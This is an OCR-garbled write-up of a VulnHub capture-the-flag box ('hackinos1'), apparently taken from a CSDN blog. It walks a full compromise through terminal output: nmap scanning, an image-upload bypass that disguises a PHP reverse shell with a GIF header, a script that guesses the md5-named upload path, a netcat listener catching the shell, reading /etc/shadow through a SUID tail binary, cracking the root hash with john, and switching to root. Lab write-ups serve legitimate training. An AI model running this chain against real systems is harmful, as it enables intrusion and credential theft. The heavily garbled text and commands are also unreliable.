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kali IP4192.168.17.4

RIEEHLIP 192.168.17.9

rootagkali:~# nmap -sP 192.168.17.1/24

Starting Nmap 7.80 ( https://nmap.org ) at 2021-28-26 ©8:59 EDT
Nmap scan report for 192.168.17.1

Host is up (@.00017s latency).

MAC Address: @A:00:27:00:00:49 (Unknown)

Nmap scan report for 192.168.17.2

Host is up (0.00015s latency).

MAC Address: @8:@@:27:RA:RR:13 (Nracle VirtualBox virt

Nmap scan report for 192.168.17.9 CSDN @ BfE&=s
Host is up (0.00031s Latency). y = ST
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nmap -p ~nmap -p- --min-rate=10000 -T4 192.168.17.9 | grep ~[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,
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Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-26 ©9:00 EDT
Nmap scan report for 192.168.17.9
Host is up (0.00027s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 2048 d9:c1:5c:20:9a:77:54:18:23:41:18:92:1b:1e:e5:35 (RSA)

| 256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)
| _ 256 8b:e4:45:ab:af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)
8000/tcp open http Apache httpd 2.4.25 ((Debian))

| _http-generator: WordPress 5.0.3

| _http-open-proxy: Proxy might be redirecting requests

| http-robots.txt: 2 disallowed entries

| _/upload.php /uploads

| _http-server-header: Apache/2.4.25 (Debian)

| _http-title: Blog &#8211; Just another WordPress site

MAC Address: ©8:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 29.73 seconds
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8000/tcp open http Apache httpd 2.4.25 ((Debian))
_http-generator: WordPress 5.0.3

_http-open-proxy: Proxy might be redirecting requests
http-robots.txt: 2 disallowed entries

_/upload.php /uploads

_http-server-neader: Apache/2.4.25 (Debian)

_http-title: Blog &#8211; Just another WordPress site
MAC Address: ©8:00:27:20:A9:BC (Oracle Virtu d
Service Info: 05: Linux; CPE: cpe:/o:linux:limix

TIPS RAE LA SR TT

192.168.17.9

ing Kali Tools = Kali Docs Kali Forums NetHunter

ietwork before you can access the Internet.

Select image : Browse..  Nofile selected. Submit

or-F
e e =

BEEMTIEL, =537 —Agithubi®ER, A upload.phpHIERL .



c @ il view-source:http://192.168.17.9:8000/upload.php
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You must log in to this network before you can access the Internet.
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// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {

$rand_number = rand(1,108);

$target dir = "uploads/";

$target_file = $target_dir . md5(basename($_FILES["file"]["name"].%rand_number));
$ftile name = $target dir . basename($ FILES["file"]["name"]);

$uploadOk = 1;

$imageFileType = strtolower(pathinfo(%$file name, PATHINFO EXTENSION));
$type = § FILES["file"]["type"];

$check = getimagesize($ FILES["file"]["tmp_name™]);

if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
SuploadUk = 1;
telse{
$uploadOk = @;
echo ":)";
h
if({$uploadOk == 1){
move uploaded file($ FILES["file"]["tmp_name"], $target file.".".$imageFileType);
echo "File uploaded /fuploads/?";
} )
3 CSDN @HEZ=
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cp /usr/share/webshells/php/php-reverse-shell.php ./rshell_gif.php

root@kali:~/vulnhub/hackinos1# head -n 1@ rshell_gif.php
GIF98a

php-reverse-shell - A Reverse Shell implementation in PHP
Copyright (C) 2007 pentestmonkey@pentestmonkey.net

This tool may be used for legal purposes only. Users take full responsibility
for any actions performed using this teol. The author accepts no liability

for damage caused by this tool. If these terms are not acceptable to you, then
do not use this tool. CSDN ,:_ﬁ'jl"‘:—'
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You must log in to this network before you can access the Internet.

Select image : Browse..  Nofile selected. Submit
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<?php

for ($i = 1; $i <=100; $i++) {
$url = md5("rshell_gif.php". $i).(".php");
file_get_contents("http://192.168.17.9:8000/uploads/$url");
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root@kali:~/vulnhub/hackinosi# php decode.php

PHP Warning: file_get_contentsiihiip://152.165.17.9:8000/uploads/6aB2a5a7d9ce246bBafl31f73e5f57a7. : failed open stream:
equest failed! HTTP/1.1 4@4 Not Found

in /root/vulnhub/hackinos1/decode.php on line

PHP Warning: file_get_contents(http://192.168.17.9:8000/uploads/16e8e15f2f4ch85da5af2fe3fon3e69d. : failed open stream:
equest failed! HTTP/1.1 4@4 Not Found

in /root/vulnhub/hackinos1/decode.php on line

PHP Warning: file_get_contents(http://192.168.17.9:8000/uploads/209919944b1c77120c76bBe7@09fCc94C. : failed open stream:

equest failed! HTTP/1.1 4@4 Not Found

in /root/vulnhub/hackinos1/decode.php on line

PHP Warning: file_get_contents(http://192.168.17.9:8000/uploads/e3b12031b2@e5e8b7%9a6ab6351dd1daa. : failed open stream:
equest failed! HTTP/1.1 404 Not Found

in /root/vulnhub/hackinos1/decode.php on line
PHP Warning: file_get_contents(http://192.168.17.9:8000/uploads/cc8257d52ffBac2664cch5a4747851db. : failed to §tRean s HET
equest failed! HTTP/1.1 404 Not Found CEUNERI TR
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rootakali:~# nc -lnvp 4444

listening on [any] 4444 ...

connect to [192.168.17.4] from (UNKNOWN) [192.168.17.9] 43176

Linux lafdd1f6b82c 4.15.8-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 08:54:04 UTC 2018 x86_64 GNU/Linux
13:24:57 up 27 min, @ users, load average: 0.57, ©0.29, 0.57

USER TTY FROM LOGING IDLE JCPU  PCPU WHAT

uid=33(www-data) gid=33(wwmw-data) groups=33(ww-data)

/bin/sh: @: can't access tty; job control turned off

$ python -c 'import pty; pty.spawn("/bin/bash")’

3.8

¥z SUIDREFF, K Iltail 2 SUIDAR .

w -dataglafdd1f6b82c: /var/wm/html$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null

Jusr/bin/chsh

Jfusr/bin/gpasswd

Jusr/bin/passwd

/usr/bin/newegrp
Jusr/bin/tail
fusr/bin/chtn
/bin/mount
/bin/umount
/bin/su
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ww-dataglafdd1ifeb82c: /var/wm/html$ tail -c1G /etc/shadow

tail -c1G /etc/shadow

root:$6%$qoj6/JJi$FQe/BZ1fZVOVXEBMO125SuihbvilsS//OVNpd. PVvEVYCcL1bWSTF3XTVTF91n6@yUuUMUCP65EGTBHT jLy jGHOova/:17951:0:99999:7 :::
daemon:#*:17931:0:99999:7 :::

bin:%:17931:0:99999:7 ::

SYys:*:17931:0:99999:7

SYNnc:*:17931:9:99999:
games:%:17931:0:99999
man:%*:17931:0:99999:7
1p:%:17931:0:99999:7

mail:#*:17931:0:99999:

S Fjoinit AT R %, 25 A5john.

rootakali:~/vulnhub/hackinosi# cat pass.txt

root:$6$q0j6/11i$FQe/BZ1FZVIVXBMOi25Suih5vilS//OVNpd . PVEVYcL1bWSTF3XTVTF91n6@yUuUMUCP65EETBHF jLy jGHova/:17951:0:99999:7 :::

rootakali:~/vulnhub/hackinosi# john ./pass.txt

Created directory: /root/.john

Using default input encoding: UTF-8

Loaded 1 password hash (sha512crypt, crypt(3) $6$% [SHA512 256/256 AVX2 4x])

Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 2 OpenMP threads

Proceeding with single, rules:Single

Press "q' or Ctrl-C to abort, almost any other key for status
: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.

Almost done: Processing the remaining buffered candidate passwords, if any.

Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.

Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist

john |

1g VUV VIV DUNE 273 (2021-88-26 09:38) 1.030g/s 3387p/s 3387c/s 3387C/s 123456 .. franklin

Use the "-—show" option to display all of the cracked passwords reliably

Session completed

root/jointl #rootH /7, FIh!

ww-dataflafdd1f6b82c:/var/wmw/html$ su root
su root
Password: john

root@lafdd1feb82c:/var/www/html# id
id 5
uid=@(root) gid=@(root) gruups:df% oty
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